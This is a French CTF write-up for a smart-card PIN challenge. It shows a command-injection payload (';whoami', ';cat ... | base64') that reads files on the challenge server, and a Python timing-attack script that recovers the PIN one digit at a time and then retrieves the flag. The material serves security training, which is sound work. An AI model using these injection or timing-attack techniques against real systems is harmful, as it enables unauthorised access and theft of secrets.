Course hipPIN
Catégorie: Crypto Difficulté: - Flag: ECW{D4mn_I_G0t_D3laaaaays}
Challenge
Description
You're looking to physically infiltrate the building that manages the submarine cables on the south coast of France. However, access is protected by a smart card reader. From reliable sources, you know that a secret is embedded in these cards. You must find this secret at all costs!
Your pickpocketing skills have enabled you to steal an employee's access card. However, this card is protected by a pin code. There's got to be a way of finding this code to access the card's secret...
Using your pirate terminal, you can send commands of your choice to this card and observe its responses. You find the source code of the Java Card applet that seems to be used.
You can communicate with the Smart Card's terminal by using netcat
. You can provide X hex buffers as parameters. If the port number associated to the docker is 65432, then type:
$ echo "BUFFER1 BUFFER2 BUFFERX" | nc -N localhost 65432
Ce challenge tourne sur un docker, disponible sur Github
Solution
Unintended way
Ici, on va exploiter une injection pour exécuter des commandes sur le serveur et récupérer le flag directement depuis les fichiers.
Pour ça, au lieu d'envoyer nos BUFFER, on va envoyer ;whoami
comme Proof of Concept :
$ echo ";whoami" | ncat 127.0.0.1 8080
██╗ █████╗ ██████╗ █████╗ ██████╗██╗ ██╗███████╗ ██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗ ██╗
██╔╝▄ ██╗▄ ██╔══██╗██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝ ██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝ ▄ ██╗▄ ██╔╝
██╔╝ ████╗ ███████║██████╔╝███████║██║ ███████║█████╗█████╗███████║███████║██║ █████╔╝ ███████╗ ████╗ ██╔╝
██╔╝ ▀╚██╔▀ ██╔══██║██╔═══╝ ██╔══██║██║ ██╔══██║██╔══╝╚════╝██╔══██║██╔══██║██║ ██╔═██╗ ╚════██║ ▀╚██╔▀██╔╝
██╔╝ ╚═╝ ██║ ██║██║ ██║ ██║╚██████╗██║ ██║███████╗ ██║ ██║██║ ██║╚██████╗██║ ██╗███████║ ╚═╝██╔╝
╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═╝
[+] Init hacking terminal
[+] bip * bip * tiiiic
[+] Ready to send an APDU !
You need to provide an APDU command (hex string) as args.
root
En se baladant dans les fichiers, on trouve /ressources/flag.jpg
, on peut donc le récupérer en l'encodant en base64 :
$ echo ";cat /ressources/flag.jpg | base64" | ncat 127.0.0.1 8080
/9j/4AAQSkZJRgABAQEBLAEsAAD//gATQ3JlYXRlZCB3aXRoIEdJTVD/2wBDABALDA4MChAODQ4S
ERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBD
/ ... /
EI/h8WdVB7z7rcnBAAD4s6za/M+3tfkddtfmfiTHM9z65/aH4Lm+/wBJN7b8I/b58dI/L8MdgyNe
cmM3QRR1X//Z
Direction Cyberchef pour afficher l'image :

Intended way
Il faut dans un premier temps comprendre la structure de ce qu'on doit envoyer. Il s'agit d'APDU, les données sont donc composées :
Nom du champs
Taille (octets)
Description
CLA
1
Classe d'instruction - indique le type de la commande, par exemple "interindustry" ou "proprietary"
INS
1
Code d'instruction - indique le code de commande, "write data" par exemple
P1-P2
2
Paramètres d'instructions pour la commande, par exemple la position du curseur (offset) du fichier où écrire des données
Lc
0, 1 ou 3
Définit le nombre (Nc) d'octets envoyés par la commande
Données envoyées
Nc
Nc octets
Le
0, 1, 2 ou 3
Définit le nombre (Ne) maximum d'octets attendus dans la réponse
Pour récupérer le flag, il faut s'authentifier avec le PIN via la commande VERIFY.
Seulement, cette commande est vulnérable aux attaques par timing, on peut donc tester les 10 chiffres et regarder lequel ajoute un délai à la réponse. Une fois le chiffre trouvé, on passe au suivant et ainsi de suite jusqu'à ce que nous ayons une réponse différente de 0x6300 (ce code correspond à SW_VERIFICATION_FAILED
).
from subprocess import run
import re
HOST = '127.0.0.1'
PORT = 8080
CLA = 0x80
VERIFY = 0x20
GET_FLAG = 0x50
WRITE_FLAG = 0x30
def send_apdu(apdu: str) -> str:
command = f'echo {apdu} | ncat {HOST} {PORT}'
output = run(command, capture_output=True, shell=True).stdout.decode()
output = output.split('[+] Ready to send an APDU !\n', 1)[1]
return output.strip()
def crack_pin() -> list[int]:
# P1 & P2 ne servent pas ici, on a pas de paramètres donc on met à 0
p1 = 0x00
p2 = 0x00
pin = []
while True:
# On envoie les 10 chiffres à tester d'un coup
apdus = []
for i in range(10):
data = [*pin, i]
lc = len(data)
# Pas besoin de "le" puisqu'on attend pas de retour
apdus.append(bytes([CLA, VERIFY, p1, p2, lc, *data]).hex().upper())
# Envoie des 10 BUFFER
result = send_apdu(' '.join(apdus))
# Récupère et parse tous les timings reçus
timings = [float(n) for n in re.findall(r'Response time: ([\d\.]+)ms', result)]
# Le bon chiffre est celui qui met le plus de temps
good_digit = timings.index(max(timings))
pin.append(good_digit)
# Si on ne reçoit pas 10 fois 0x6300, ça veut dire qu'un des PIN a fonctionné
if result.count('Status Code: 0x6300') != 10:
return pin
print(f'PIN: {pin}')
def main():
print('[i] Cracking PIN...')
pin = crack_pin()
print(f'[+] PIN Cracked: {pin}')
if __name__ == '__main__':
main()
[i] Cracking PIN...
PIN: [9]
PIN: [9, 3]
PIN: [9, 3, 5]
PIN: [9, 3, 5, 5]
PIN: [9, 3, 5, 5, 1]
[+] PIN Cracked: [9, 3, 5, 5, 1, 8]
Maintenant qu'on a le PIN, il suffit d'envoyer la commande VERIFY puis GET_FLAG en même temps :
from subprocess import run
import re
from PIL import Image
from io import BytesIO
HOST = '127.0.0.1'
PORT = 8080
CLA = 0x80
VERIFY = 0x20
GET_FLAG = 0x50
WRITE_FLAG = 0x30
def send_apdu(apdu: str) -> str:
command = f'echo {apdu} | ncat {HOST} {PORT}'
output = run(command, capture_output=True, shell=True).stdout.decode()
output = output.split('[+] Ready to send an APDU !\n', 1)[1]
return output.strip()
def crack_pin() -> list[int]:
# P1 & P2 ne servent pas ici, on a pas de paramètres donc on met à 0
p1 = 0x00
p2 = 0x00
pin = []
while True:
# On envoie les 10 chiffres à tester d'un coup
apdus = []
for i in range(10):
data = [*pin, i]
lc = len(data)
# Pas besoin de "le" puisqu'on attend pas de retour
apdus.append(bytes([CLA, VERIFY, p1, p2, lc, *data]).hex().upper())
# Envoie des 10 BUFFER
result = send_apdu(' '.join(apdus))
# Récupère et parse tous les timings reçus
timings = [float(n) for n in re.findall(r'Response time: ([\d\.]+)ms', result)]
# Le bon chiffre est celui qui met le plus de temps
good_digit = timings.index(max(timings))
pin.append(good_digit)
# Si on ne reçoit pas 10 fois 0x6300, ça veut dire qu'un des PIN a fonctionné
if result.count('Status Code: 0x6300') != 10:
return pin
print(f'PIN: {pin}')
def get_flag(pin: list[int]) -> Image.Image:
# P1 & P2 toujours inutiles
p1 = 0x00
p2 = 0x00
apdu_pin = bytes([CLA, VERIFY, p1, p2, len(pin), *pin]).hex().upper()
# On veut récupérer un max de données, donc on utilise 3 octets comme dit dans la doc
le = [0x00, 0x0f, 0xff]
# Pas de data dans pas de lc non plus
apdu_get = bytes([CLA, GET_FLAG, p1, p2, *le]).hex().upper()
result = send_apdu(f'{apdu_pin} {apdu_get}')
# Parse en image
data = result.rsplit('Data received from card: ')[1].replace(',', '').strip().split(' ')
data = bytes([int(n[2:], 16) for n in data])
img = Image.open(BytesIO(data))
return img
def main():
print('[i] Cracking PIN...')
pin = crack_pin()
print(f'[+] PIN Cracked: {pin}')
print('[i] Getting flag...')
flag = get_flag(pin)
print('[+] Show flag')
flag.show()
if __name__ == '__main__':
main()
Dernière mise à jour
Cet article vous a-t-il été utile ?